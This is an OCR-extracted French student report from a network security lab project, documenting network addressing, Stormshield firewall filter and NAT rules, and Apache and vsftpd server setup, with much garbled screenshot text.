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Informations générales
Répartition en groupes

6 équipes de 4 étudiants et 1 équipe de trois étudiants

Emploi du temps

Semaine 1:9h-12h 13h-17h sauf jeudi 9h-12h
Semaine 2 : 9h-12h 13h-17h sauf jeudi 9h-12h
Semaine 3 : 9h-12h 13h-17h jeudi libre et vendredi soutenance

Evaluation

e Aufil de la progression, aprées validation de chaque tache
e Remplissage de votre cahier de SAE qui sera rendu et noté
e Soutenance en solo de 10 mins par étudiant + 5 mins de question.

Matériel par équipe

0 2 Firewalls Stormshield
J 1 Switch

J 1 Borne Wi-Fi

. 5 PC tour

o 2 Portables

Documentation

e Moodle
e https://documentation.stormshield.eu/

Taches a réaliser

1. Mise en place d’une infrastructure sécurisée

2. |Installation et configuration d’un firewall Stormshield
3. Installation et configuration d’un serveur HTTP/HTTPS et d’un serveur FTP/FTPS
4. Authentification transparente par certificat SSL

5. Mettre en place un IDS

6. Attaque sur le Wifi

7. Utilisation de scanneurs de vulnérabilité

8. Attaque Man in The Middle

9. Contre-mesures pour le MiM

10. Supervision du réseau

11. Mise en place d’une architecture Single Sign-On

12. Mise en place d’un VPN SSL pour clients distants

13. Mise en place d’un VPN IPSEC site a site


https://documentation.stormshield.eu/
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Gestion de votre projet

Créez un Trello de votre projet estimez la durée de chaque tache et sous-tache et affectez-les entre vous.
Partagez le Trello avec les enseignants.

https://trello.com/invite/b/iknV47J5/ATTI0c1df2304c326a9e3e0908bd66e63d7148863BD5/sae-401
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Bilan

A la fin de votre SAE, vous devrez répartir 80h de travail x 4 personnes soit 320 heures-homme dans ce
tableau et indiquer votre évaluation de I'accomplissement de chaque tache en pourcentage de
réalisation.

Taches Heures- Pourcentage de
homme réalisation

Mise en place d’une infrastructure sécurisée (1.5 pts) 2h 100%
Installation et configuration d’un firewall Stormshield (3 pts) 3h 100%
Installation et configuration d’un serveur HTTP/HTTPS et d’un 4h 100%
serveur FTP/FTPS (7.35 pts) ?
Authentification transparente par certificat SSL (9 pts) 24h 100%
Mettre en place un IDS (13.5 pts) 16h 100%
Attaque sur le Wifi (4.5 pts) 15h 100%
Utilisation de scanneurs de vulnérabilité (13.5 pts) 30h 100%
Attaque Man in The Middle (3.75 pts) 8h 100%
Contre-mesures pour le MiM (6 pts) 16h 100%
Supervision du réseau (3.75 pts) 8h 33%

Mise en place d’une architecture Single Sign-On (9 pts) 30h 100%
Mise en place d’'un VPN SSL pour clients distants (6 pts) 20h 100%
Mise en place d’un VPN IPSEC site a site (5.25 pts) 5h 33%
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Détails des taches a réaliser
Tache 1. Mise en place d’une infrastructure sécurisée (1,5 points)

Liste des personnes impliquées avec pourcentage de répartition

Bilal Dakhouche 100 %

Estimation du temps passé sur cette tache en heure-homme : 1h

Objectif : Mettre en place l'infrastructure réseau suivante :

b4 IDS

LAN_in_A

192.168 4 192.168.2.254/24

192.168.1.1/24 10.0.0.254/24 10.0.0.25424

te &

| serveur Web A | [Serveur lAccés WiFi I | serveur web B/
100.0.1/24 FTP A 10.0.0.100/24 10.0.1.1/24
DMZ_A1 DMZ_A2 DMZ_B

192.168.2.1/24

10.0.1.254/24

Rapport
(Expliquez votre démarche, dessinez un plan IP, insérez des photos de votre architecture avec
identification de chaque machine, photo des écrans de configuration IP, etc.)

Nous avons pour but de realiser une infrastructure réseau dans laquelle figureront :
- 2 Firewall (Réseau A et B)
- Un serveur web dans chaque réseau
- Un serveur FTP dans le réseau A
- Un client dans chaque réseau
- Un acces wifi dans le réseau A
- Un IDS dans le réseau Internet

Pour réaliser notre infrastructure, nous avons décidé de réunir les serveurs Web et FTP A dans la méme
machine. Ils partageront donc la méme adresse IP (voir plan IP en bas de page) et seront dans le réseau
DMZ du Firewall A. Le Firewall ne posséde seulement qu’une interface DMZ, ceci impliquera
I’utilisation d’un switch pour y placer la borne Linksys et les serveurs HTTP et FTP.
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tp@rt: ~
Fichier Editer Affichage Rechercher Terminal Aide

valid 1ft forever preferred 1ft forever
2: ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc pfifo fast state UH
oup default glen 1000
link/ether 00:13:3b:10:f5:a4 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.1/24 brd 10.0.0.255 scope global ethl
valid Lft forever preferred 1ft forever
inet6 feB8@::213:3bff:feld:f5a4/64 scope link
valid 1ft forever preferred 1ft forever
3: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UH
oup default glen 1000
link/ether 00:be:43:8c:4c:4d brd ff:ff:ff:ff:ff:ff
inet 192.168.33.102/24 brd 192.168.33.255 scope global dynamic eth®
valid 1ft 1371sec preferred 1ft 1371sec
inet 192.168.33.205/24 brd 192.168.33.255 scope global secondary dynamic

valid 1ft 1349sec preferred 1ft 1349sec
inet6 fe80::2be:43ff:fe8c:4c4d/64 scope link
valid 1ft forever preferred 1ft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 gdisc noqueue state
N group default
link/ether 02:42:62:3:29:27 brd ff:ff:ff:ff:ff:ff
inet 10.178.0.1/24 brd 10.178.0.255 scope global docker®
valid 1ft forever preferred 1ft forever
root@rt:/home/tp# []

Capture d’écran de la configuration IP du serveur Web du réseau A

Le serveur HTTP B sera dans le réseau DMZ du Firewall B. Etant le seul équipement branché a I’interface
DMZ du Firewall, on n’aura pas besoin d’un switch pour étendre le nombre d’équipement a brancher a
cette interface. Ce serveur sera accessible via 1’adresse IP de sa machine. (Voir plan IP en bas de page)

Terminal
Fichier Editer Affichage Rechercher Terminal Aide
root@rt:~# systemctl restart networking
root@rt:~# ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group defaul
t glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid Lft forever preferred lft forever
inet6 ::1/128 scope host
valid 1ft forever preferred lft forever
2: ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gr
oup default glen 1000
link/ether 00:13:3b:10:f5:8b brd ff:ff:ff:ff:ff:ff
inet 10.0.1.1/24 brd 10.0.1.255 scope global ethl
valid 1ft forever preferred lft forever
inet6 fe80::213:3bff:feld:f58b/64 scope link
valid Lft forever preferred 1ft forever
3: eth@: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gr
oup default glen 1000
link/ether 00:be:43:8c:54:fd brd ff:ff:ff:ff:ff:ff
inet 192.168.33.68/24 brd 192.168.33.255 scope global dynamic eth®
valid Lft 1791sec preferred 1ft 1791sec
inet6 feB0::2be:43ff:fe8c:54fd/64 scope link
valid 1ft forever preferred lft forever
root@rt:~#

Capture d’écran de la configuration IP du serveur Web du réseau B
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Les clients A et B auront une adresse IP fixe selon le plan IP ci-dessous et seront dans le réseau in du
Firewall.

root@rt-mob16: ~ - 2 Terminal v) (A (X

Fichier Edition Affichage Recherche Terminal Aide
2: enp3s0: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc fq_codel state UP gr+
B mﬂrna 8:ac:65:00:84:6¢ brd Tf:ff:ff:ff:ff:ff 2P GEETCE () T

[ 18:ac:00:00:61:0C bra ThiTh:ii:iiatr: link/ether 5c:60:ba:db:e3:67 brd ff:ff:ff:ff:ff:ff

Fichier Edition Affichage Rechercher Terminal Aide

# ip adr add 192.168.2.1/24 dev enpls@ inet lobal 350
ST lrleva 1 t oreverssl(icpe?e?r:dalfin?o?‘ever
-mob16:~# ip addr add 192.168.2.1/24 dev enplse L L )
o is qrer s LR (S EIpE 3: wlp@s20f3: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue state UP

: o group default glen 1000

<LOOPBACK, UP, LOWER UP> mtu 65536 qdi eue state UNKNOWN defaul
Soan P> mtu LS [ERTHSES L L LA Uink/ether 3c:21:9¢c:9:3e:d6 brd ff:Ff:ff:ff:Ff:Ff

inet 192.168.1.107/24 brd 192.168.1.255 scope global dynamic noprefixroute wi
1p0s20f3
valid_lft 83684sec preferred_l1ft 83684sec
inet6 fe80::77c7:ba8f:cc05:c294/64 scope link noprefixroute
valid lft [f¥orever preferred 1ft forever
4: br-5feba6a0449a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 gdisc nogueue s
8ee tate DOWN group default
29 brd ff:ff:ff:ff:Ff:Ff link/ether 02:42:a2:d1:b7:38 brd ff:ff:ff:ff:ff:ff
inet 192.168.2. scope global enpls@ inet 172.18.0.1/16 brd 172.18.255.255 scope global br-5feba6a®449a
valid_lft fo r preferred_1ft forever valid lft forever preferred lft forever
inet6 fe8o::72b! 8 64 scope link 5: docker@: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DO
valid_lft forever preferred 1ft forever N group default
> mtu 1500 qdisc noop state DOWN group default link/ether 02:42:85:b6:e7:d2 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
6c brd ff:ff:ff:ff:ff:ff valid 1ft forever preferred lft forever
root@rt-mob:~# [] =]

Capture d’écran des configurations IP des Clients des Réseaux A et B

< 80:00:0 180 brd ©0:00:00:0
1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 sco
valid 1ft fore

La borne Linksys est mise en place et son adresse IP est paramétrée conformément a notre plan IP en bas
de page. Un serveur DHCP y a été mis en place pour pourvoir les clients d’une adresse IP
automatiquement.

DDNS MAC Address Clone Advanced Routing Switch Config Networking

WAN Connection Type

Connection Type Static IP v
WAN IP Address 0 . o0 | 0 | 100
Subnet Mask 255 |, 255 || 255 || O
Gateway o . 0 | 0 | 234
Static DNS 1 o L 0 L. 0 . 0
Static DNS 2 o L 0 L. O | 0
Static DN5 3 ] . 0 . (LI 0

Capture d’écran de ’adressage IP de la borne Linksys
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L’IDS est placé sur le réseau Internet. 11y a plusieurs solutions pour le faire ; I'une d’elle est I’utilisation
d’un switch. Nous avons donc placé I’IDS dans un switch avec les interfaces out des firewalls.

rt@rt-fernandez: ~ - o

Fichier Edition Affichage Rechercher Terminal Aide
rt@rt-fernandez:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group defaul
t glen 1808
link/loopback 80:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.8.8.1/8 scope host lo
valid Lft forever preferred 1ft forever
ineté ::1/128 scope host
valid Lft forever preferred 1ft forever
2: enpls@: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1588 gdisc fq_codel sta
te UP group default qlen 1860
link/ether 70:b5 :ac:bl:61 brd ff:ff:ff:ff:Ff: Ff
/24 brd 87.10.10.255 scope global enpls®

r preferred 1Tt forever

ff:feac:bl61/64 scope link
B r preferred 1Tt forever
3: wlpBs20f3: <BROADCAST,MULTICAST> mtu 1500 gdisc nogueue state DOWN group defa
ult glen 1008

Capture d’écran de I’adressage IP de I’'IDS

Le plan IP de notre réseau est donc le suivant :

Réseaux LAN A 192.168.1.0/24 Réseaux LAN B 192.168.2.0/24
Client A 192.168.1.1 ClientB 192.168.2.1
Firewall A 192.168.1.254 Firewall B 192.168.2.254
Réseaux DMZA 10.0.0.0/24 Réseaux DMZB 10.0.1.0/24
Serveur Web/FTP 10.0.0.1 Serveur Web B 10.0.1.1
Borne Wifi 10.0.0.100 FirewallDMZB 10.0.1.254
FirewallDMZ A 10.0.0.254
Réseaux WAN 87.10.0.0/24
Firewall OUT A 87.10.0.1
FirewallOUT B 87.10.0.129
IDS 87.10.0.100

Plan d’adressage IP
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Tache 2 Configuration des firewalls Stormshields (3 points)

Liste des personnes impliquées avec pourcentage de répartition
Bilal Dakhouche 100 %

Estimation du temps passé sur cette tadche en heure-homme : 2h

Objectif : Configuration des firewalls pour protéger les réseaux internes et DMZ

Sous-taches Evaluation prof

Mettre en place une politique de NAT

Permettre I'acces aux serveurs uniquement sur les ports concernés

Interdire I’établissement d’une connexion sur les réseaux internes depuis les
réseaux externes et les DMZ

Autorisez I'acces a DMZ_A1 depuis DMZ_A2

Testez I'acceés aux serveurs

Rapport

(Expliquez votre démarche, insérez les captures d’écran des menus NAT et Filtrage, de vos tests, etc.)

Pour configurer les Stormshield, on y accede par I'un des ports du réseau Network_In quand le Firewall
est réinitialisé. On commence par configurer les interfaces selon le plan IP défini lors de la tache 1. Les
interfaces ont donc les configurations suivantes :

Rechercher ... % | & Ajouter~ | E | Vue mixter Tout afficher~ @ Vérifier l'ufilisation
4 o[, bridge [T EE IR IS5 e Sl CONFIGURATION AVANCEE
[ dmz1
] out Mom : dmz1
[Myin Commentaire :
Efprivatear Port physique - dmz1(3)
Z{PublicAP L
VLANs attachés a linterface :
Cetfte interface est - externe (publigue) »

Plan d'adressage

(C) Aucun (interface désactivée)
(O IP dynamigue (obtenue par DHCP)
(@) Plan d'adressage hérité du bridge
bridge v
() IP fixe (statique)
& Ajouter E3 Supprimer

Adresse IP Masque réseau Commentaire

Capture d’écran de la page de configuration de I'interface DMZ du Firewall A
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Dans la capture d’écran ci-dessus, I'interface DMZ est dans le bridge. Elle hérite donc de son adresse IP.
Nous avions décidé d’attribuer le réseau 10.0.0.0/24 a cette interface, le bridge aura donc I'adresse IP
10.0.0.254/24 qui sera donc également I'adresse de la DMZ.

Pour les autres interfaces, nous les avons séparés du bridge, elles sont donc indépendantes. L'interface
OUT s’est vu attribuer I'adresse IP 87.10.10.1/24 ainsi donc présente dans le réseau 87.10.10.0/24. ||
s’agit du réseau extérieur au Firewall dans lequel figurera également |'autre Firewall.

Rechercher ... X | 4 Ajouter~ |E| Vue mixte~ Tout afficher~ <& Vérifier lufilisafion
4 o, bridge CONFIGURATION DE LINTERFACE CONFIGURATION AVANCEE
(] dmz1
(] out Nom : out
[Myin Commentaire -
PrivateAP Port physique : out(1)
PublicAP L
VLANSs attachés a lnterface
Cefte interface est - externe (publique) >

Plan d'adressage

() Aucun (interface désactivée)
() IP dynamigue (obtenue par DHCP)
() Plan d'adressage hérité du bridge

(@) IP fixe (statique)
+ Ajouter E3 Supprimer

Adresse IP Masque réseau Commentaire

&7.10.10.1 255.255.255.0

Capture d’écran de la page de configuration de I'interface OUT du Firewall A

Enfin, I'interface IN s’est vu attribuer I’adresse IP 192.168.1.254/24 ainsi présente dans le réseau
192.168.1.0/24. Les clients potentiels pourront donc s’y connecter et demander une adresse IP
automatiquement grace au serveur DHCP présent par défaut.

11
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Rechercher % | o Ajouters @ Vue mixte» Tout afficher» <& Vérifier l'utilisation

of bridge CONFIGURATION AVANCEE

M| out

i Nom : in

[ PrivateAP Commentaire

FublieA? Port physique : in(2)

VLANSs attachés a l'interface :
Couleur : _ )
Cette interface est - interne (protégée) A

Plan d'adressage

(O Aucun (interface désactivée)
(O IP dynamique (obtenue par DHCP)

(O Plan d'adressage hérité du bridge

@ IP fixe (statique)
+ Ajouter [EJ Supprimer

Adresse IP Masque réseau  Commentaire
192.168.1.254 255.255.255.0

La mise en place de filtres permettra de gérer les acces aux différents réseaux du firewall. La premiére
d’entre elles est de permettre I'accés aux servers sur les ports concernés. En raison de I'ambiguité de la
demande, nous I'avons interprété comme tel : Permettre I'acceés aux serveurs sur les ports http, https,
ftp et ftps depuis touts les réseaux (OUT et IN) car on imagine que les serveurs doivent étre accessible
depuis I'extérieur pour de potentiels clients et de I'intérieur pour nos clients connectés au réseau IN.
L'établissement de cette régle est donc visible sur la capture suivante :

A (5)SAE v | A Activer cette politique Editer = "3 Exporier &g
Rechercher + Mouvelle régle ~ =]
Etat =~ | Action =~ | Source Destination Fort dest Protocols Inspection de sécurté ==
. . 7 ag ¥ nitp
1 & @on = Portail d'authentification X uniknown @ B8R Network_intemals @ Internet ¥ bitps @&os
¥ fip
2 e @ on } passer [=] Any SRV_FTP_HTTP_A ¥ fips @os
¥ fipsdata
. . ¥ ntip
3 =D @ on & passer [*] Any SRV_FTP_HTTP_A ¥ niips @ms
4 mo @on § passer off DMZ_A 42 DMz_B [#] Any @ios
5 oo @on £ bloquer off DMZ_A g Lan_A [#] Any Ges
6 oo @on bloquer @ Internet o LAN_A [#] Any &@wes
7 = @on EE bloguer [ Any [ Any [# Any @irs

Capture d’écran des filtres présents sur le Firewall A

Ainsi visible sur la capture précédente, nous avons également établi les autres régles qui sont les
suivantes :

Interdire I’établissement d’une connexion sur les réseaux internes depuis les réseaux externes et les
DMZ : Cette regle est explicitement claire, nous n’avons donc pas besoin de I'interpréter différemment.
Autorisez I'acces a DMZ_A1 depuis DMZ_A2 : Nous avons branché un switch a la DMZ pour permettre
de brancher plusieurs équipements a la DMZ. De ce fait, tous les équipements sont dans le méme réseau
(10.0.0.0/24). Cette régle n’a donc pas été comprise dans la mesure ou il nous est demandé de
permettre d’accéder a un réseau a partir d’un autre. Or, les équipements présents dans DMZ_A1 et
DMZ_A2 sont en réalité dans le méme réseau qui est 10.0.0.0/24. Nous avons donc fait le choix d’ignorer
cette régle car ce qu’elle permettrait est déja possible.

Nos regles ainsi paramétrées, nous pouvons donc bloquer tous les accés au reste.

12
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Les translations d’adresses sont faites de telles sorte a ce que les clients voient leurs adresses IP privées
translatées en I'adresse de I'interface OUT du firewall. Les ports sont aléatoirement choisis (port
ephemeral_fw).

Pour le serveur, nous avons mis en place de la translation statique de sorte que le serveur soit
atteignable depuis les ports http, https, ftp, ftps depuis I'adresse IP (87.10.10.1) du Firewall.

¥ STORMSHIELD snz1ow e
nfoay
« s s gt | ot 1 o o
T @ FILTRAGE ET NAT )
A 5)8AE ¥ R Advercetiepoibgue | Edier~ | "} Expoter | (8
@ TisLEAu 0E BORD .
@ svsreme Recherches + Mowvshesige s ©1 t 4 B3 -
@ réserw = Teafic origmnal (avant ansiaton) Tratc speén ramsiation
e Erotoccle Optoms Commentaae
iy Source Cestasson Pt cest Souce Pot s Destazson Poa
= Séparateur - regroupement de rigles (conbent 1 régles. de 14 1)
1 e Qwm o Networt_n © erret (5] 2ny ~ @ Fevanon ¥ ephemes O imemet Créée o 2024.93.28 143450, par 36min (192.168.1.45)
9 5 Séparatew - S247)
Ll ol %) sy ¥
2w - sy B - @ Pt ot rbbe 0 20248328 1056 45, por 39min (192 168,145
@ Fitrage URL. L L} s e interface oul Y o L] = pae (! 2
® Fangs sst 3 = 0w [l any @ Fowanon ¥ o - @ Foan oo ESRVFTPHTIPA ¥ b NATGans i Crbba lo 2024-03.25 1058 45, par admn (192 168145
oy 4 e Q. (@ any 8 Frevan_ou £ nitps - @ Frewa_brisge ESRVFTPHTIPA ¥ i MNATdanslets . Crébele 20240328 105345, par admin (152 168 1.45) - Mase & jour le 2024.03.28 143839 p.
te
® Qualeé e senice B ror ¥ pan
5 ao L L B SRV_FTP_HTTP_A - (@ Firewal_out Créée le 2024.03.28 10-58 45, pr admin (152 165.1.45) - Mise & jour be 2024.03.28 1556 17 p.
medtace. ot t e
¥ mosa
Ve s o Qo (8 any @ Frews_out e - @ Frewan_beisge ESRVFPHTIPA Y m MATGansiets  Créde le 2024-03-28 105845, par admn (152 168 1.45) - Mise & jour le 2024-03-28 155926
7 a @ (8] Any @ Frewan_out ot fos - Prewail_bodge BSRVITEMITEA ¥ s NATdansiets . Créée le 2024.03.26 10:58 45, par admin (152 168 1.45) - Mise 3 jour le 2024.03.28 143839 o
@ rorrications
B OBJETS RESEAU s Page 1 st ki Page courante 1-9 3
2 UTnIsATEURS £ GROUPES +
| SUPERVISION + 8 Aomdor

13
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L’acces aux serveurs est a présent possible depuis un client :

© Google

m}

PW_A@192.168.1.254 Administr: X

A Non sécurisé

YouTube

t Gmail

87.10.10.129

Apache2 Debian Default Page: I X

> Deepl Traducteur () Speedtest by Ookia. == Test de débit- Spee. +  Accueil - myCANAL Relevé de notes Bienvenue [Root M, @

1-prox25 - Proxmo.

Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at
/var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site Is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview
Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server Installation on Debian systems is as follows:

/etc/apache2/
|-- apache2. conf
“-- ports.conf
|-~ mods-enabled
! *. Load
-~ *.con,
|-- conf-enabled
! T-- *.conf
|-- sites-enabled
| T-- *.conf

*  apache2.conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

[ Proxmox

1 Gmail

Capture d’écran de l'accés au serveur web B depuis le Client A

- Deepl Traducteur

= Test de débi - Relevé de notes Bienwenue [Ro

[ Proxmax

Capture d’écran du server web A depuis le Client A
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On a paramétré le Firewall B de la méme facon, tout en respectant les demandes.

FWA  § admin

4% STORMSHIELD snz1ow 320 F LecwrwEciue

1§ Acces reatreint suy ioga
o0 e il | TG AT Mo

6D wresesces )

Rochercnor EE Rechercier ] & e € B 3 | Wemier Toul sichur < Veriortulnsion
@ TABLEAU DE BORD 43 brdze A T Ll CONFIGLRATION AVANGEE
@ svsTeue Mt
-y Nom dmz1
Réseau -
@ i Commantairs:
L Epivaiesr Port physique am21@)
=~
o wmA VLANs attachés & finterface
Wi s Code G
Crr— Cette ntertace sst exteme (publicue) -

® Routage mulicast
- Plan dackessage.

® DS gymamiaue
O ) Aucun (nteriace désactive)

) 1P dynamiqus (obtenue par DHCP)
® Plan dadressage bt ou bridge
brigge -
B unusaEsrs ) 1P e tatique)
@ Poumaue oe sEcurITE + Aoter D3 Sepprmer

® Fiage st AT pr— Aasque réseau  Commentaie

® proxy cacne DS

® oniers

® Farage UL
® Faage sSL
® Fitrage SWTP

® Cualté de cenice

@ Rogles mpicies.
@ srorccTonameLiCATVE
Do

@ ronrcanons

R torier

Capture d’écran de la page de conﬁgu}ation de l'interface DMZ du Firewall B

% STORMSHIELD swziow 5 $lrmesane @l@@‘

8 Acsds resireint aux logs
o8 024 1 e0o SEPACET | TOUGETIE I Rek Ting

@ INTERFACES )

Roeharener x| # Aoers () [ X vuemide~ Toul afcher~ @ Vénier uiisation

@ eLe oe som0 ConmiGURATION D LHTERFACE. [
) svsTEME
Nom o
aeseay
e Commeniaire
® intertaces. Port physique oul(1}
. wn

o VLANS attachés & Minerfsca

@ iraces vaenen Couur -
® Auusge Cette ntertace est extoms (publique) >
® Rouage mumeast

Plan ragrosssge
® OnS gynamicue
O © Aucun [ntertace désaclivie)
0 1P aynamique (ootenue par DHCP)

® Procy cache DHS N .
) Paan aressage néré du brioge:

@® coiets
D UTLISATEURS @ 1P i (statique)

@ roLmaue oe scuame l | Qg

® Filrage et MAT Adeesse IP Masque rseau  Commentaire
P — 10104 2552552550

® Fitrage SSL.

® Firage suTP
& Gualté 06 s6rvice.

® Rigles mpictes

@ PROTECTION APPLIGATIVE
v

@ nommcatons

Frera|

Capture d’écran de la page de configu}ation de l'interface OUT du Firewall B
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FWA g admin
31120 pL

¥ STORMSHIELD sh21ow

Rechercher EE

@ 1aBLEAU DE BORD

@ svsTEmE

@ reseau

® interfaces

® Wi

® Interfaces virluelies

® Routage

® Routage mutticast

® DNS dynamique

® DHeP

® Proxy cache DNS

® oskETS

@ unuSATEURS

@ POLITIQUE DE SECURITE
(@ PROTECTION APPLICATIVE
- N

@ norricaTions

) OBJETS RESEAU
A UTILISATEURS ET GROUPES

5] LOGS - JOURNAUX D'AUDIT

htps 54/admin/admin.htmi#

§ Accés restreint aux logs

20|

ides-een & ameliorer Pappication | Telscharges SN Reab Tame Monitor

)
x| & Aputere [ | Vue mixtes Tout aMichers g Vérier Putiisation
EEGETSIIUNED Y CONFIGURATION AVANCEE
Nom in -
Commentaire
Port physique in2)
VLANS attachés 4 finterface
Couleur
Cette interface st - inteme (protégée) v
Plan d'adressage
O Aucun (interface désactivée)
O IP dynamique (obtenue par DHCP)
O Plan dadressage hérité du bridge
@® IP fixe (statique)
+ Ajouter 3 Supprimer
Advesse IP Masque réseau | Commentaire
192.168.1.254 2552552550
v

2 Annuler

Capture d’écran de la page de configuration de I'interface IN du Firewall B

FWA g admin

€ Ferssmsar

20 P

¥ STORMSHIELD sn21ow  a

LostwsEcrn
§ Accés restreint sux loga

(21C)

0400 b A | THRS NS THS M

@

Recharcher B 5)SAE 7| R Adverccpoiqe | Ederr | % Epoer | B
@ Ta8LEAL OF BORD
@ svstene |+ Mouvela régie - 3 It 3 EE@ @& 5] | & > =-
@ reseau BN o | Adon = | souns Port et Prtocos Inspeckon de sécué o | Commentsie
@ osieTs 1= @ = Portal qaubenttcation ) wnknow @) S Netwon:_intemais © ntemst b @os GrdBa l 2024.05.27 10163, par atin (182 165.1.45)

UnusATEURS
2 b
& POLTIAUE DE SECURITE 2 e Qo 4 passer jol 8 SRV_FTP_HTTP_A ¥ ros @os

¥ fpedsia
® Fitrags of NAT ¥ o
® Filoge URL E on § paser B B SRY_FTP_HTTR_ b @os
® FirsgossL 4 m o i paser deouz_a sgouz_n [l any @os
® Filroge suTP 5 om @ B blouer domza HELANA [ty @es
® Cuaté g senvks &= L) L Qmicnat aBLans Eany Gies
T o [rye— B Elany By @ws i s 20240525 120555, par samin (192 165.1.45)

® feigis mpictes
@ FroTecToNsRRLCTVE
D
@ vemncamons
5 OBJETS RESEAU o eme 1 st @ Page comants 1.7 s 7
L UTILISATEURS ET GRO +
\d suPERw: + E Ll [P

Capture d’écran de la page de configuration des filtres du Firewall B
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0%

* STORMSHIELD sn2iow 3120 P LectweEour
78 Acces restreint aus looy
a1 s gt | e T o
@mnw 2
[Rechercher EX A 5)saE | R Acweccetiepoltque | Eaters | "} Bxporer | (B
@ TBLEAU DE BORD e - |
@ svsrine [ Rechercher. # Nouvederigle s 0 i It 4| B W ® g S | & - ="
@ reseau P Trafic original (svant ransistion] Trafic aprés tranalation
@ oesers ko Source Destinston Podt dest Source Pod e Destnaton. For s Mnomed Ko rmeps?
@ vrusatevns
1w o p— rtemet - Frewst oot phemerst, ) intemet Crbde o 20240328 14:34:50,par acen (192 165.1.45)
@ PouTiouE DE SEcuRTE = £ .. B L] i L =
® Fitrage ot NAT [or™ ¥ hip
o o 2w m 8 sRFTR TR A - el - Pt ot (Crbée e 20240326 1058.45, par i (192 168.1.45)
© sty 3w Qo 4y Eremiot = 8 Frewan_broge ESRUFPHTPA g NAT st Crbée o 20240326 1050.45, par demn (192 168.1.45)
~ e ‘= em Ay 6 Freaton ¥ s = @ Frewat_bdge ASRFTPHTTRA % g NAT dams e . TV
® Guainé e senice By i
5 m @m @ SRV_FTP_HTTP_A - @ Frewat_out ‘Créée le 2024.03-28 105845, par admin (192 168 1 45) - Mise 3 jour le 2024.03-28 155617 9.
® Regees mpictes intertace out 2 nos
¥ tosssta
(©) PROTECTION APPLICATIVE & == @ S any B Pt Y - Frewat_bidge WSRYFPHTTPA 219 NATGmsle s Crébelo 20240328 10/58.45, par ademin (192 168 1.45) - Mise & jour e 2024.03.28 1559265,
Dwn 7 o @ Ean B Fewatont ¥ e - @ Frewas_bridge ESRVFPHTTPA ¥ s NATGawlo . Crbbele 20240328 10'50.45, par admin (192 169.1.45) - Mise B jour e 2024-03.28 143839 9.
@ rormcamions
W4 e 1 ey | bW @ Page cowrante 1-9 13
V Swvegaroec et sctver | | 98 Aot

Capture d’écran de la page de configuration de la NAT du Firewall B
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Tache 3 Serveurs HTTP/HTTPS et serveur FTP/FTPS (7,35 points)

Liste des personnes impliquées avec pourcentage de répartition
Fatih 50 %

Yanis 50 %

Estimation du temps passé sur cette tache en heure-homme : 4h

Objectif : Configuration des firewalls pour protéger les réseaux internes et DMZ

Sous-taches Evaluation prof

Installez les serveurs http

Installez le serveur FTP

Activez HTTPS et FTPS

Mettez a disposition un fichier sur le serveur FTP
Installez un CMS et créez un petit site web
Testez I'acces a vos serveurs

Rapport
(Expliquez votre démarche, écrivez les commandes principales que vous avez tapées, insérez les captures
d’écran de vos tests, etc.)
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Serveur http, installé avec APACHE? :

+

® 10.0.01

LAN A vers DMZ A
LAN B vers DMZ B :

Apache Detaan Detault Page

Apache2 Debian Default Page

This Is the default welcome page used to test the correct operation of the Apache2 server after 4
Installation on Debian systems. If you can read this page, it means that the Apache HTTP server

Installed at this site is working properly. You should replace this file (located at
/var/wen/html/index.html) before continuing to operate your HTTP server.

1f you are a normal user of this web site and don't know what this page is about, this probably means L
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Deblan's Apache2 default configuration Is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web s r itself can be found by accessing the manual if the
apache2-doc package was installed on this serve:

The configuration layout for an Apache2 web server installation on Debian systems Is as follows:

Jetc/apache2/
|-- opache2. conf
ports. conf
-- mods-enabled
|-~ *.load
‘-~ *.conf
conf-enabled
- *.conf
sites-enabled
- *.conf

«  apache2.conf Is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

*  ports.conf Is always included from the main configuration file. It is used to determine the
listening ports for Incoming connections, and this file can be customized anytime. v

19



SAE Cyber 4.0 Sécurisation d’un S|
FTP installé avec vsftpd avec mise a disposition dossier et fichier :

] CAWINDOWS\system32\cmd. X G I8%

C:\Users\yanis>ftp 10.0.0.1

Connecté a 10.0.0.1.

220 Welcome to blah FTP service.

200 Always in UTF8 mode.

Utilisateur (10.0.0.1:(none)) : anonymous
331 Please specify the password.

Mot de passe

230 Login successful.

ftp> 1s
